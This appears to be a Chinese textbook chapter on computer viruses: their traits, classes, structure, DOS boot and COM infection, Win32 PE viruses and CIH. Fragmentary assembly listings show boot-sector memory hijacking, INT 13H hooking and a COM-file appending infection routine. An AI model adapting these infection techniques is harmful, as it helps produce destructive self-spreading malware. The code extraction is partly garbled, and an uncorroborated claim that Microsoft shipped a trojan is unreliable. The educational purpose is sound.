版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、第1章 恶意程序及其防范,计算机病毒是恶意程序的一种。所谓恶意程序,是指一类特殊的程序,它们通常在用户不知晓也未授权的情况下潜入到计算机系统中来。恶意程序可以分为许多类型。图1.1为按照有无自我复制功能和需要不需要宿主对恶意程序的分类情形。,陷门(Trap Doors)是进入程序的一些秘密入口。陷门中有些是程序员为了进行调试和测试而预留的一些特权,有些则是系统漏洞。黑客也挖空心思地设计陷门,以便以特殊的、不经授权的方式进入系统。陷门通常寄生于某些程序(有宿主),但无自我复制功能。 逻辑炸弹是嵌入某些合法程序的一段代码,没有自我复制功能,在某些条件下会执行一个有害程序,造成一些破坏。 特洛伊木马
2、是计算机网络中一种包含有害代码的有用或表面上有用的程序或过程,激活时产生有害行为。它们不具备自我复制功能。,细菌是以自我繁殖为主要目的的程序。 蠕虫是一种通过网络自我复制的恶意程序。通常人们也把它称为病毒的一种。因为,蠕虫一旦被激活,可以表现得像细菌和病毒,可以向系统注入特洛伊木马,或进行任何次数的破坏或毁灭行动。典型的蠕虫只会在内存维持一个活动副本。此外,蠕虫是一个独立程序,自身不改变任何其他程序,但可以携带具有改变其他程序的病毒。 其中,计算机病毒是所有计算机用户在计算机安全问题上,经常碰到的问题。在1999年Security Poral的报告中,排在计算机安全问题第一位的是计算机病毒事件
3、,其次是与计算机病毒关系极为密切的黑客问题。所以本章以病毒为主,介绍恶意程序的特点及其防治。,1.1 计算机病毒的概念,返回,1.1.1 计算机病毒的特征 人类发明了工具,改变了世界,也改变了人类自己。自20世纪40年代起,计算技术与电子技术的结合,使推动人类进步的工具从体力升华到了智力。计算机的出现,将人类带进了信息时代,使人类生产力进入了一个特别的发展时期。 计算机的灵魂是程序。正是建立在微电子载体上的程序,才将计算机的延伸到了人类社会的各个领域。“成也萧何,败也萧何”。人的智慧可以创造人类文明,也可以破坏人类已经创造的文明。随着计算机系统设计技术向社会各个领域急剧扩展,人们开发出了将人类
4、带入信息时代的计算机程序的同时,也开发出了给计算机系统带来副作用的计算机病毒程序。,在生物学界,病毒(virus)是一类没有细胞结构但有遗传、复制等生命特征,主要由核酸和蛋白质组成的有机体。 在中华人民共和国计算机信息系统安全保护条例中,计算机病毒(Computer Virus)被明确定义为:“计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者破坏数据、影响计算机使用,并且能够自我复制的一组计算机指令或者程序代码”。,计算机病毒有一些与生物界中的病毒极为相似的特征,这也就是所以称其为病毒的缘由。这些特征有如下一些。 1. 传染性 病毒也是一种程序,它与其他程序的显著不同之处,就是它
5、的传染性。与生物界中的病毒可以从一个生物体传播到另一个生物体一样,计算机病毒可以借助各种渠道从已经感染的计算机系统扩散到其他计算机系统。 早在1949年,计算机的先驱者Von Neumann 就在他的论文复杂自动机组织论中,提出了计算机程序在内存中自我复制的设想,勾画了病毒程序的蓝图。1977年夏天,美国作家托马斯捷瑞安在其幻想小说P-1的青春一书中构思了一种能够自我复制的计算机程序,第一次使用了“计算机病毒”的术语。所以自我复制应当是计算机病毒的主要特征。,20世纪60年代初,美国贝尔实验室里,三个年轻的程序员编写了一个名为“磁芯大战”的游戏,游戏中通过复制自身来摆脱对方的控制,这就是计算机
6、“病毒”的雏形。 1983年美国计算机专家弗雷德科恩博士研制出一种在运行过程中可以自我复制的具有破坏性的程序,并在同年11月召开的国际计算机安全学术研讨会,首次将病毒程序在VAX/750计算机上进行了实验。世界上第一个计算机病毒就这样出生在实验室中。,20世纪80年代初,计算机病毒(如“巴基斯坦智囊”病毒)主要感染软盘的引导区。20世纪80年代末,出现了感染硬盘的病毒(如“大麻”病毒)。20世纪90年代初,出现了感染文件的病毒(如“Jerusalem,黑色13号星期五”病毒)。接着出现了引导区和文件型“双料”病毒,既感染磁盘引导区又感染可执行文件。20世纪90年代中期,称为“病毒生产机”的软件
7、开始出现,使病毒的传播不再是简单的自我复制,而是可以自动、轻易地自动生产出大量的“同族”新病毒。这些病毒代码长度各不相同,自我加密、解密的密钥也不相同,原文件头重要参数的保存地址不同,病毒的发作条件和现象不同。,1995年大量具有相同“遗传基因”的“同族”病毒的涌现,标志着“病毒生产机”软件已出现。目前国际上已有上百种“病毒生产机”软件。这种“病毒生产机”软件不用绞尽脑汁地去编程序,便可以轻易地自动生产出大量的“同族”新病毒。这些病毒代码长度各不相同,自我加密、解密的密钥也不相同,原文件头重要参数的保存地址不同,病毒的发作条件和现象不同,但主体构造和原理基本相同。这就是病毒的衍生性。 与此同时
8、,Internet的发展,也为病毒的快速传播提供了方便途径。,2. 潜伏性 计算机病毒通常是由技术高超者编写的比较完美的、精巧严谨、短小精悍的程序。它们常常按照严格的秩序组织,与所在的系统网络环境相适应、相配合。病毒程序一旦取得系统控制权,可以在极短的时间内传染大量程序。但是,被感染的程序并不是立即表现出异常,而是潜伏下来,等待时机。 除了不发作外,计算机病毒的潜伏还依赖于其隐蔽性。为了隐蔽,病毒通常非常短小(一般只有几百或1K字节,此外还寄生于正常的程序或磁盘较隐蔽的地方,也有个别以隐含文件形式存在,使人不经过代码分析很难被发觉。,20世纪90年代初,计算机病毒开始具有对抗机制。例如Yank
9、ee Doole病毒,当它发现有人用Debug工具跟踪它,就会自动从文件中逃走。此外还相继出现了一些能对自身进行简单加密的病毒,如1366(DaLian)、1824(N64)、1741(Dong)、1100等。加密的目的主要是防止跟踪或掩盖有关特征等。例如在内存有1741病毒时,用DIR列目录表,病毒会掩盖被感染文件所增加的字节数,使人看起来字节数很正常。,3. 寄生性 寄生是病毒的重要特征。计算机病毒一般寄生在以下地方: (1)寄生在可执行程序中。一旦程序执行,病毒就被激活,病毒程序首先被执行并常驻内存,然后置触发条件。感染的文件被执行后,病毒就会趁机感染下一个文件。 文件型病毒可以分为源码
10、型病毒、嵌入型病毒和外壳型病毒。源码型病毒是用高级语言编写的,不进行编译、链接,就无法传染扩散。嵌入型病毒是嵌入在程序的中间,只能针对某些具体程序。外壳型病毒寄生在宿主程序的前面或后面,并修改程序的第1条指令,使病毒先于宿主程序执行,以便一执行宿主程序就传染一次。,(2)寄生在硬盘的主引导扇区中。这类病毒也称引导型病毒。任何操作系统都有自举过程,自举依靠引导模块进行,而操作系统的引导模块总是放在某个固定位置,这样系统每次启动就会在这个固定的地方来将引导模块读入内存,紧接着就执行它,来把操作系统读入内存,实现控制权的转接。引导型病毒程序就是利用这一点,它自身占据了引导扇区而将原来的引导扇区的内容
11、和病毒的其他部分放到磁盘的其他空间,并将这些扇区标志为坏簇,不可写其他信息。这样,系统的一次初始化,就激活一次病毒,它首先将自身拷贝到内存,等待触发条件到来。,引导型病毒按其寄生对象,可以分为MBR(主引导区)病毒和BR(引导区)病毒。MBR病毒也称分区病毒,这类病毒寄生在硬盘分区主引导程序所占据的硬盘0头0柱面第1扇区,典型的有Stoned(大麻)病毒、2708病毒等。BR病毒则寄生在硬盘逻辑0扇区或软盘0扇区(即0面0道的第1扇区),典型的有Brain病毒、小球病毒等。,4. 触发性 潜伏下来的计算机病毒一般要在一定的条件下才被激活,发起攻击。病毒具有判断这个条件的功能。 (1)日期/时间
12、触发。 (2)计数器触发. (3)键盘触发. (4)启动触发. (5)感染触发. (6)组合条件触发:,5. 非授权执行性 用户在调用一个程序时,常常就把系统的控制权交给这个程序并给它分配相应的系统资源,使程序的执行对用户是透明的。计算机病毒具有正常程序所具有的一切特性,它隐蔽在合法程序和数据中;当用户运行正常程序时,病毒伺机取得系统的控制权,先于正常程序执行,并对用户呈透明状态。,6. 破坏性,(1)占用CPU资源,额外占用或消耗内存空间,或禁止分配内存、蚕食内存,导致一些大型程序执行受阻,使系统性能下降。 (2)干扰系统运行,例如不执行命令、干扰内部命令的执行、虚发报警信息、打不开文件、内
13、部栈溢出、占用特殊数据区、时钟倒转、重启动、死机、文件无法存盘、文件存盘时丢失字节、内存减小、格式化硬盘等。 (3)攻击CMOS。CMOS是保存系统参数(如系统时钟、磁盘类型、内存容量等)的重要场所。有的病毒(如CIH病毒)可以通过改写CMOS参数,破坏系统硬件的运行。 (4)攻击系统数据区。硬盘的主引导扇区、boot(引导)扇区、FAT(文件分配)表、文件目录等,是系统重要的数据,这些数据一旦受损,将造成相关文件的破坏。,(5)干扰外部设备运行,如 干扰键盘操作。如EDV病毒能封锁键盘,使按任何键都没有反应;还有病毒产生换字、抹掉缓存区字符、输入紊乱等。 干扰屏幕显示。如小球病毒产生跳动的小
14、白点;瀑布病毒使显示的字符像雨点一样一个个落到屏幕底部等。 干扰声响。如感染Attention病毒后,每按一键,喇叭就响一声;Yankee Doodle病毒在每天下午5时整会播出歌曲“Yankee Doodle”;救护车病毒(Ambulance Car)会在屏幕上出现一辆鸣着警笛来回跑的救护车。 干扰打印机。如Azsua病毒可以封锁打印机接口LPT1,当使用打印机时,会发出缺纸的假报警;1024SBC病毒会使打印机出现断断续续的打印失常;Typo-COM病毒会更换字符。,(6)攻击文件。现在发现的病毒中,大多数是文件型病毒。这些病毒会使染毒文件的长度、文件存盘时间和日期发生变化。例如,百年病毒
15、、4096病毒等。 (7)劫取机密数据。例如,微软公司在它的Microsoft Network中加入一种特洛伊木马程序,会把用户系统软件和硬件的完整清单送回到微软公司。 (8)破坏网络系统的正常运行。例如发送垃圾邮件、占用带宽,使网络拒绝服务等。 有些病毒的破坏作用往往是多样的。,1.1.2 计算机病毒分类,1. 按照所攻击的操作系统分类 DOS病毒:攻击DOS系统。 UNIX/Linux病毒:攻击UNIX或Linux系统。 Windows病毒:攻击Windows系统,如CIH病毒。 OS/2病毒:攻击OS/2系统。 Macintosh病毒:攻击Macintosh系统,如Mac.simpson
16、s病毒。 手机病毒。,2. 按照寄生方式和传染途径分类,(1)引导型病毒。引导型病毒在系统初始化时自动装入内存,然后简单地将指令指针(指令计数器的内容)修改到一个存储系统指令的新的位置。 主引导区(master boot record,MBR)病毒,寄生在硬盘分区主引导程序所在的硬盘的0柱面0磁道1扇区,也称分区病毒,如大麻病毒、2708病毒等。 引导区(boot record,BR)病毒,寄生在硬盘逻辑0扇区或软盘逻辑0扇区,即0面0道1扇区,如Brain病毒和小球病毒等。,(2)文件型病毒。 传播病毒的文件可以分为三类: 可执行文件,即扩展名为 .COM,.EXE,.PE,.BAT,.SY
17、S,.OVL等的文件。 文档文件或数据文件,例如Word文档,Exel文档,Accss数据库文件。宏病毒(Macro)就感染这些文件。 Web文档,如.html文档和.htm文档。已经发现的Web病毒有HTML/Prepend和HTML/Redirect等。 按照驻留内存的方式,文件型病毒可以分为: 驻留(Resident)病毒:复制病毒装入内存后,发现另一个系统运行的程序文件后进行传染。驻留病毒又可进一步分为高端驻留型、常规驻留型、内存控制链驻留型、设备程序补丁驻留型。 非驻留(Nonrresident)病毒:病毒选择磁盘上一个或多个文件,不等它们装入内存,就直接进行感染。,(3)目录型病毒
18、。是文件型病毒的一种特例,它们仅修改目录区,如DIR2病毒。 (4)引导兼文件型病毒。这类病毒在文件感染时还伺机感染引导区,例如CANCER病毒、HAMMER 病毒等。 (5)CMOS病毒。CMOS是保存系统参数和配置的重要地方,它也存在一些没有使用的空间。CMOS病毒就隐藏在这一空间中,从而可以躲避磁盘的格式化清除。,3. 按照传播媒介分类, 单机病毒:以磁盘为传染媒介。 网络病毒:以网络中的传输的命令或数据作为媒介。,4. 按照计算机病毒的链接方式分类,(1)源码型病毒。攻击高级语言编写的程序,在被攻击程序编译前插入进来,并在编译后成为合法程序的一部分。 (2)嵌入型病毒。计算机病毒的主体
19、与被攻击对象以插入方式链接,把自己嵌入到攻击对象中。这类病毒程序编写难度大,清除也难。 (3)外壳(shell)病毒。这类病毒程序 这类病毒通常附加在正常程序的头部或尾部,相当于给程序添加了一个外壳,在被感染的程序执行时,病毒代码先被执行,然后才将正常程序调入内存。目前大多数文件型的病毒属于这一类。 (4)译码型病毒。隐藏在微软的office、AmiPro文档中,如宏病毒、脚本病毒等(VBS/WSH/JS)等。 (5)操作系统型病毒。这类病毒意图用自己的代码加入或取代操作系统的某些模块,具有很强的破坏性,例如小球病毒、大麻病毒等。,5. 按照破坏能力分类,按照病毒的破坏能力,可将病毒划分为以下
20、几类: 无害型:除了传染时减少磁盘的可用空间外,对系统没有其它影响。 无危险型:这类病毒仅仅是减少内存、显示图像、发出声音及同类音响。 危险型:这类病毒在计算机系统操作中造成严重的错误。 非常危险型:这类病毒删除程序、破坏数据、清除系统内存区和操作系统中重要的信息。,1.1.3 计算机病毒的结构 计算机病毒的种类很多,但是它们的主要结构是类似的,一般需要包含3部分:隐藏部分、传染部分和表现部分分。 (1)隐藏部分:就是病毒程序的初始化部分。它的作用是将病毒的主体加载到内存,为传染部分做准备(如驻留内存、修改中断、修改高端内存、保存原中断向量等操作)。 (2)传染部分:作用是将病毒代码复制到传染
21、目标上去。传染需要一定的条件。不同类型的病毒在传染方式、传染条件上各不相同。进行传播之前,先要判断传染条件。 (3)表现部分:作用是在被传染系统上表现出特定现象。大部分病毒都是在一定条件下才会触发表现部分的。,1.2 计算机病毒编制的关键技术,返回,1.3.1 DOS引导型病毒编制的关键技术 1. DOS系统的结构 DOS系统由以下4部分组成: (1)引导记录(Boot Record)。用于将IO.SYS模块装入内存。 (2)IO.SYS(DOS的基本输入输出模块BIOS),由下面两块组成: 系统初始化程序SYSINIT,完成初始化工作,主要包括:确定系统设备配置和内存容量;初始化串、I/O并
22、口;计算后面模块的装入位置并将MSDOS.SYS和COMMAND.COM装入内存;设置系统参数,加载设置驱动程序。 标准字符和块设备驱动程,用于支持基本输入输出操作。 (3)MSDOS.SYS(DOS的内核),提供应用程序管理、内存管理、文件管理等。 (4)COMMAND.COM(DOS的外壳),是用户与操作系统的接口。,DOS格式化磁盘由4个区域组成: 主引导扇区、 文件分配表(FAT)、 根目录表(Root Directory Table,FDT) 文件数据区(Data Area),2. 硬盘存储结构,主引导扇区位于硬盘的0柱面0磁道1扇区,存放: 主引导记录(main boot reco
23、rd,MBR) 硬盘主分区表(Disk Partition Table, DPT) 引导扇区标记(boot record ID),(1)主引导记录(MBR)占用引导扇区的前466个字节(000001BD),作用是检查分区表是否正确以及确定哪个分区为引导分区(要将控制权交给的操作系统所在分区),并在程序结束时把该分区的启动程序(即操作系统引导程序)调入内存加以执行。,在DOS的启动过程中,中断服务程序INT 19H(自举程序)将引导记录 调入内存的0000H7C00H处,并把控制权交给它。这时,引导记录将检查启动盘上是否有DOS系统,即根目录中的前两个文件是否为IO.SYS和MSDOS.SYS。
24、若是,则把文件IO.SYS读入到内存的70H0H处,并把主控制权交给IO.SYS;否则给出非系统盘的错误信息。,(2)磁盘主分区表(DPT)中记录了磁盘的基本分区信息。它占用的64字节,分为4个分区项,分别记录了每个主分区的信息。,(3)引导区标记55AA,占用两个字节,用于判断引导区是否合法。,3. DOS的自举过程 ROMBIOSDOS引导程序IO.SYSMSDOS.SYSCOMMAND.COM用户,主引导记录程序的基本功能是读出自举分区的BOOT程序,并把控制权转移到分区BOOT程序。在这一过程中,关键性的技术有: (1)将本来要读入到0000:7C00H处的硬盘主引导记录程序转移到00
25、00:0600H处。代码段如下:,偏移机器码 符号指令说明 0000FAcli ; 屏蔽中断 000133C0 xor ax,ax; 00038ED0mov ss,ax; (ss)=0000H 0005BC007Cmov sp,7c00; (sp)= 7C00H 00088BF4mov si,sp; (si)= 7C00H 000A50push ax; 000B07pop es; (es)=0000H 000C50push ax; 000D1Fpop ds; (ds)=0000H 000EFBsti; 000FFCcld; 0010BF0006mov di,0600; 0013890001mo
26、v cx,0100; 0016F2repnz; A5movsw ; 主引导程序把自己从0000:7c00处搬移到0000:0600处, ; 为DOS分区的引导程序腾出空间 ,(2)顺序读入4个分区表的自举标志,以找出自举分区:若找不到,就转向执行INT 18H的BOOT异常,执行异常中断程序。 偏移机器码符号指令说明 001DBEBE07mov si,07be; 分区表首地址01BE=07BE-0600 0020B304mov bl, 04; 最多4个分区 0022803C80cmp byte ptrsi,80; 80H表示活动分区 0025740Ejz 0035 ; 找到活动分区则跳走 00
27、27803C00cmp byte ptrsi,00; 00H表示有效分区 002A751Cjnz 0048 ; 非80H,也非00H,为无效分区 002C83C610add si,+10 ;下一个分区表项,每项16(10H)字节 002FFECBdec bl ; 循环计数减1 003175EFjnz 0022 ; 检查下一个分区表项 0033CD18int 18 ; 4个都不可引导,进入ROM BIOS 00358B14mov dx,si 00378B4C02mov cx,si+02 ;取分区的引导扇区的柱面、扇区活动 003A8BEEmov bp,si ; 继续检查后面的分区表项 003C8
28、3C610add si,+10 ,(3)找到自举分区后,检测该分区的标志:如果是32位或16位FAT,并支持13号中断的扩展功能,就转到执行13号中断的41号功能调用,进行安装检测;检测成功,就执行42号扩展功能调用,把BOOT程序读入到内存0000:7c00H处。读入成功,就执行0000:7c00H处的程序;读入失败,就调用13号中断的读扇区功能,把BOOT程序读入到内存0000:7c00H处。,4. 引导型病毒的传染过程 引导型病毒制驻留在硬盘的主引导分区或硬/软盘的DOS引导分区的病毒。它的感染过程分两大步:装入内存和攻击。,(1)装入内存过程: 1 系统开机后,进入系统检测,检测正常后
29、,从0面0道1扇区,即逻辑0扇区读取信息到内存的00007C00处: 正常时,磁盘0面0道1扇区,即逻辑0扇区存放的是boot引导程序; 操作系统感染了引导扇区病毒时,磁盘0面0道1扇区,即逻辑0扇区存放的是病毒引导部分,boot引导程序被放到其他地方。例如,大麻病毒在软盘中将原DOS引导扇区搬移到0道1面3扇区,在硬盘中将原DOS引导扇区搬移到0道0面7扇区;香港病毒则将原DOS引导扇区搬移到39磁道第8扇区;Michelangelo病毒在高密度软盘上,是第27扇区,在硬盘上是0道0面7扇区。 2 系统开始运行病毒引导部分,将病毒的其他部分读入到内存的某一安全区,常驻内存,监视系统的运行。
30、3 病毒修改INT 13H中断服务处理程序的入口地址,使之指向病毒控制模块并执行,以便必要时接管磁盘操作的控制权。 4 病毒程序全部读入后,接着读入正常boot内容到内存0000:7C00H处,进行正常的启动过程(这时病毒程序已经全不读入内存,不再需要病毒的引导部分)。 5 病毒程序伺机等待随时感染新的系统盘或非系统盘。,(2)攻击过程。病毒程序发现有可攻击的对象后,要进行下列工作: 1 将目标盘的引导扇区读入内存,判断它是否感染了病毒。 2 满足感染条件时,将病毒的全部或一部分写入boot区,把正常的磁盘引导区程序写入磁盘特定位置。 3 返回正常的INT 13H中断服务处理程序,完成对目标盘
31、的传染过程。,5. 引导型病毒的编制技术 个人计算机开机后,会先执行主引导区代码这一机制,给引导型病毒窃取第一控制权提供了机会。但是引导型病毒窃取控制权的时间只能是短暂的,然后就要引导DOS操作系统,否则就将败露。在窃取控制权的这段时间内,病毒的引导部分主要要做下列事情。 (1)为病毒代码申请内存空间,为此要尽量减少DOS的存储空间。相关代码如下: xor ax,ax move ss,ax mov sp,7c00h mov ds,ax mov ax,word ptr ds:413h; 存放最大内存空间0000:0413 sub ax,4; 给病毒申请4kB的内存空间 mov ds:413h,a
32、x ,(2)修改传播需要的中断向量。相关代码如下: begin proc far push ds; axds:ax sub ax,ax; push ax mov ax,code; 将代码段地址装入ds,es mov ds,ax mov ex,ax mov ax, seg ctrl_c; 修改向量,ds:dx指向ctrl_c子程序 mov ds, ax; mov dx, offset ctrl_c mov ah,25h; 调用号ah=25H mov al,23h; 修改中断向量号al=23H int 21h; 系统调用指令 ,(3)读入病毒的其他部分,进行病毒拼装(在内存高端):先从已经标记的簇
33、中某扇区读入病毒的其他部分(这些簇往往被标记为坏簇),然后再读入原引导记录到0000:7C00H处,跳转执行。相关代码如下: mov cl,06h shl ax,cl; (ax)=8F80 add ax,0840h; (ax)=97c0 move s,ax mov si,7c00h; (si)=7c00 mov di,si mov cx,0100h repz movsw; 将病毒移到高端 v2:push ax pop ds push ax mov bx,7c4bh push bx ret; 指令执行转入高端内存 call v3,v3:xor ah,ah ; (ah)=0 int 13h ; 1
34、3H中断调用 mov ah,80h and byte ptr ds:7df8h,al ; v4:mov bx,word ptr ds:7df9h ;读入病毒的其他部分 push cs pop ax ; (ax)=97c0 sub ax,20h ; (ax)=97c0 move s, ax ; (es)=97c0 call v9 mov bx,word ptr ds:7df9h ; 加载逻辑扇区号 inc bx ; bx+是引导扇区 mov ax,0ffc0h; ffc0:8000=0000:7c00读入原引导分区内容,move s,ax call v9 xor ax,ax ; (ax)=0 m
35、ov byte ptr ds:7df7h,al ; 标志清0 v5:mov ds,ax ; (ds)=0 mov ax,word ptr ds:4ch mov bx,word ptrds:4ch ; 修改中断向量 mov word ptr ds:4ch,7cd6h mov word ptr ds:4ch,cs ; 新int 13H中断已修改 push cs pop ds ; (ds)=(cs) mov word ptr ds:7d30h:ax ;保存原来的int 13H中断向量 mov word ptr ds:7d32h:bx ; v6:mov dl,byte ptr ds:7df8h ;加载
36、驱动器盘符 v7:jmp 0000:7c00 ;跳转 db 0eah,00h,7ch,00h,00h ;跳转指令的二进制代码,(4)读入原主引导分区,转去执行DOS的引导工作。,1.3.2 COM文件型病毒编制的关键技术 1. COM文件的特点 这里,文件型病毒主要指DOS操作系统下的COM和EXE文件。首先介绍COM文件病毒程序的编制技术。 COM文件具有如下特点: (1)COM文件的存储代码与内存映像完全相同 COM文件是在DOS外壳上直接运行处理器指令和内存数据。为此,在COM文件中要包含COM程序的一个绝对映像(如图1.4所示),并且MS-DOS要把该映像直接拷贝到内存加载COM程序,
37、而不做任何改变。,(2)COM文件的长度不能超过65 024字节。 COM文件是一种单段执行结构。如图1.4所示,它要被分配在一个64k字节的空间中。这个空间中除了要存放COM文件外,还要存放一个程序段前缀PSP和一个起始堆栈。而PSP的大小为256字节,起始堆栈的最小空间为256字节,所以COM文件最大不能超过65 024字节。 (3)COM文件的第1条指令必须是程序的入口点。,2. COM文件的加载和启动 (1)分配内存:尽可能多地分配内存空间。在DOS运行另一个程序或分配另外的内存空间时,COM将释放不需要的空间。 (2)分配内存成功后,DOS建立一个PSP。如果PSP的第1个FCB含有
38、一个有效驱动器标识符,即置AL为00H;否则置AL为0FFH (3)在PS后面(偏移100H)加载COM文件,同时置SS、DS和ES为PSP的段地址。 (4)建立堆栈。 DOS通过把控制权传递给偏移100H处的指令启动程序。,3. 可执行文件病毒的传染过程 (1)文件病毒在宿主文件(.com或.exe)被执行时,驻留内存; (2)病毒开始监视系统运行,等待被传染目标出现; (3)病毒检测可执行文件的特定地址的标识位,判断该文件是否感染了病毒; (4)发现了被感染目标后,利用INT 13H将病毒链接到可执行文件的首部、尾部或中间,并存入磁盘中; (5)完成感染后,继续监视系统的运行,寻找新的目标
39、。,4. 文件型病毒程序编制技术 文件型病毒可以加在COM文件的前部,也可以加在COM文件的尾部。不管加在何处,都可以利用COM文件的第一条指令是程序的入口点,使启动COM程序前先执行病毒程序。方法就是对程序开始处的指令进行修改。例如,病毒程序加在最后,就应当把程序开始处的指令修改成一条跳转指令,跳转到病毒所在的位置。等病毒程序执行完,再把控制权交还给COM程序。当然,实际做的工作并不这么简单。下面是感染COM文件的典型病代码。 (1)修改了的文件头部代码 cs:0100 jmp endOfFile ;db 0e9h,0100h处为COM文件原来入口 ; dw COM文件实际大小 ; endO
40、fFile 文件尾(加入病毒的位置),(2)在COM文件的尾部的病毒代码部分 endOfFile: virusStart: ; 病毒代码 mov ax,orgcode mov 100,ax mov al,orgcode+2 mov 102,al virusSize = $-virusStart resume: jmp 100 ; db 0e9h ;dw (COM文件实际大小 + 病毒代码大小) orgcode db 3 dup(?) ; 原文件由0100开始的3个字节,(3)代码的进一步完善 病毒要感染COM文件,需要进行的工作有: 首先要把开始的3字节保存到orgcode中,更改为0e9h;
41、 更改文件实际大小; 将resume开始的3字节改为:0e9h-(COM文件实际大小+病毒代码大小); 将病毒代码写到COM文件尾部; 进行感染的判断和文件大小的判断。 假设:DS:DX指向VirusSize;VirusStart的定义如上。 ; 保存开始的4字节并改写 db 90h,0e9h; 0e990h为感染标志 dw sizeofcom,感染代码: mov ax,3d01h int 21h; 为读写打开 jc OpenError push dx xchg ax,bx mov ax,4202h xor cx,cx int 21h; 移到文件尾 or dx,dx jnz complete;
42、 大于4字节的文件不感染 cmp ax, ofeeeh-ViusSIze-11 jnb complete cmp ax,4 jb complete; 小于4字节的文件也不感染 mov di,offset orgcode mov di+6,ax,add di+6,VirusSize; 产生替换代码 mov ax,4200h xor cx,cx xor dx,dx int 21h; 移到文件头 mov cx,4 mov dx,di mov ah,3fh int 21h ; 读出4个字节 jc complete cmp word ptr di,0e990h; 如果没有感染,则 ; nop ; jmp
43、 XXXX jz complete mov cx,4 add ah,40h int 21h ; 在文件头部写4个字节,mov ax,4202h xor cx,cx xor dx,dx int 21h; 移到文件尾 mov ah,40h mov dx,VirusSize+11 int 21h; 写入病毒代码到COM文件中 complete: mov ah,3fh int 21h; 关闭文件 ErrorOpen: ,1.3.3 Win 32 PE病毒编制的关键技术 1. Win 32 PE文件格式 Win 32 PE文件就是Win 32(Windows 95/98/2000/XP)环境下的PE格式
44、(Portable Executable Format)的可执行文件。为了了解病毒对它的感染机理,首先介绍PE文件的结构和运行机制。PE文件的格式如图1.5所示。,(1)所有的PE文件必须以一个简单的DOS MZ头开始。 (2)接着是一个极小(几百个字节)的DOS程序DOS stub,用于输出警告,如“该程序不能在DOS模式下运行”。当Win32把一个PE文件映像加载到内存时,内存映像文件的第一个字节对应到DOS Stub的第一个字节。 (3)再接着是作为PE文件标志的1024字节的PE头。执行体在支持PE文件的操作系统中执行时,PE装载器将从DOS MZ头中找到PE头的偏移量。 (4)PE文
45、件的内容部分由一些称为段的块组成。每段是一块具有共同属性的数据。段数写在段表中。,(5)PE文件的装载过程 1 PE文件被执行时,PE装载器检查DOS MZ头中的PE头骗移量。找到了,就跳转到PE头。 2 PE检查器检查PE头的有效性。有效,就跳转到PE头的尾部。 3 读取段表中的信息,通过文件映射,将段映射到内存,同时附上段表中指定的段的属性。 4 PE文件映射到内存后,PE装载器处理PE文件中的有关逻辑。,2. Win 32 PE病毒原理 一个Win 32 PE病毒需要具有如下一些功能。 (1)重定位 定位主要指程序中数据的内存存储位置。对于正常的程序来说,数据的内存存储位置在编译时就已经
46、计算好了,程序装入内存时不需要对它们重定位。 病毒可能依附在宿主程序的不同位置,当病毒随着宿主程序装载到内存后,病毒中数据的位置也会随之发生变化。由于指令是通过地址引用数据的,地址的不准确将导致病毒程序的不正确执行。为此,有必要对病毒代码中的数据进行重定位。,(2)获取API函数地址 在Win 32环境中,系统功能调用不是通过中断实现,而是通过调用API函数实现。因此,获取API函数的入口地址非常重要。但是,Win 32 PE病毒与普通的Win 32 PE程序不同:普通的Win 32 PE程序里有一个引入函数节,程序通过这个节可以找到代码段中所用的API函数在动态链接库中的真实地址。调用API
47、函数是,可以通过该引入函数表找到相应API函数的真正执行地址。 但是,Win 32 PE病毒只有一个代码段,并不存在引入函数节,因此不能直接用真实地址调用API函数。所以获取API地址是病毒的一个重要技术。,1 首先获取Kernel32的基地址 当系统打开一个可执行文件时,会调用Kernel32.dll中的CreateProcess函数。CreateProcess函数在完成装载应用程序后,先要将一个返回地址压入堆栈顶,然后转向那个要装载的应用程序。这个应用程序结束后,就将这个地址数据弹出到EIP中,继续执行。因此,要获得API函数地址,首先要获得Kernel32的基地址。例如利用程序的返回地址
48、,在其附近搜索Kernel32模块的基地址。 2 由已知API函数序列号或仅知的函数名,搜索API函数地址的过程,(3)搜索目标文件 通常通过两个API函数FindFiratFilehe 和FindNextFile实现。 (4)内存文件映射 使用内存文件映射进行文件读写。 (5)感染其他文件 (6)返回到宿主程序。,3. Win 32 PE病毒实例CIH病毒 CIH病毒以Win 32 PE文件为攻击对象。它开创了直接攻击、破坏硬件的先例,发作时破坏Flash BIOS芯片中的系统程序,导致主板损坏,造成部分厂家的主板开机后无反应;同时,使硬盘驱动器不停地转动,病毒以2048个扇区为单位,从硬盘
49、主引导区开始依次往硬盘中写入垃圾数据,直到硬盘中的全部数据被破坏。,(1)CIH病毒的基本特点 CIH病毒很短,CIHv1.2只有1003个字节。 可以绕过Windows的应用程序界面,绕过ActiveX、C+和C,使用汇编,利用虚拟设备驱动程序VxD,直接进入Windows内核。 采用碎洞攻击技术,将病毒化整为零,插入到宿主文件中,因而不改变宿主文件大小。 利用多数BIOS芯片开放可重用性的特点,可以向计算机主板的BIOS端口写如乱码。,(2)CIH病毒驻留程序的驻留过程 一旦要执行带有CIH病毒的EXE文件,由于病毒修改了该文件程序的入口地址,使调入内存执行的是病毒的驻留程序(长184字节
50、)。驻留的主要过程如下: 1.取得IDT(中断描述符)的基地址。 2. 把IDT的INT 3的入口地址改为指向CIH自己的INT 3入口,以获得最高级别(Ring0级)的Windows权限(可以在Windows内核执行各种操作,如终止系统运行、直接对内存读写、截获各种中断、控制I/O端口等)。,3 执行INT 3指令,进入自身的INT 3入口程序。具体工作为: a 检查调式寄存器DR0的值,判断CIH病毒是否已经驻留: 不为0,表示CIH病毒已经驻留,要恢复原先的INT 3入口,把控制权交给Windows; 为0,表示尚未驻留,CIH病毒将尝试驻留。 b 将当前EBX寄存器的值赋给DR0寄存器
51、,生成驻留标志。 c 调用INT 20中断,请求系统分配两页Windows内存,以便程序长期驻留内存。 d 内存申请成功,将破碎的病毒程序收集起来,组合后放到申请到的内存空间中。 e 调用INT 3入口程序,调用INT20,在windows内核的文件处理函数中挂接钩子,以截取文件调用操作,以便病毒的传染部分能在第一时间截获要求开启的文件调用。 f 将同时截获的核心文件输入/输出服务程序的入口地址保存到RD0寄存器中,以便CIH病毒调用。 g 驻留成功,恢复宿主文件正常入口,执行宿主程序: 恢复原来的IDT中断表中的INT 3入口,退出INT 3; 根据病毒程序隐藏的原文件的正常入口地址,跳到原
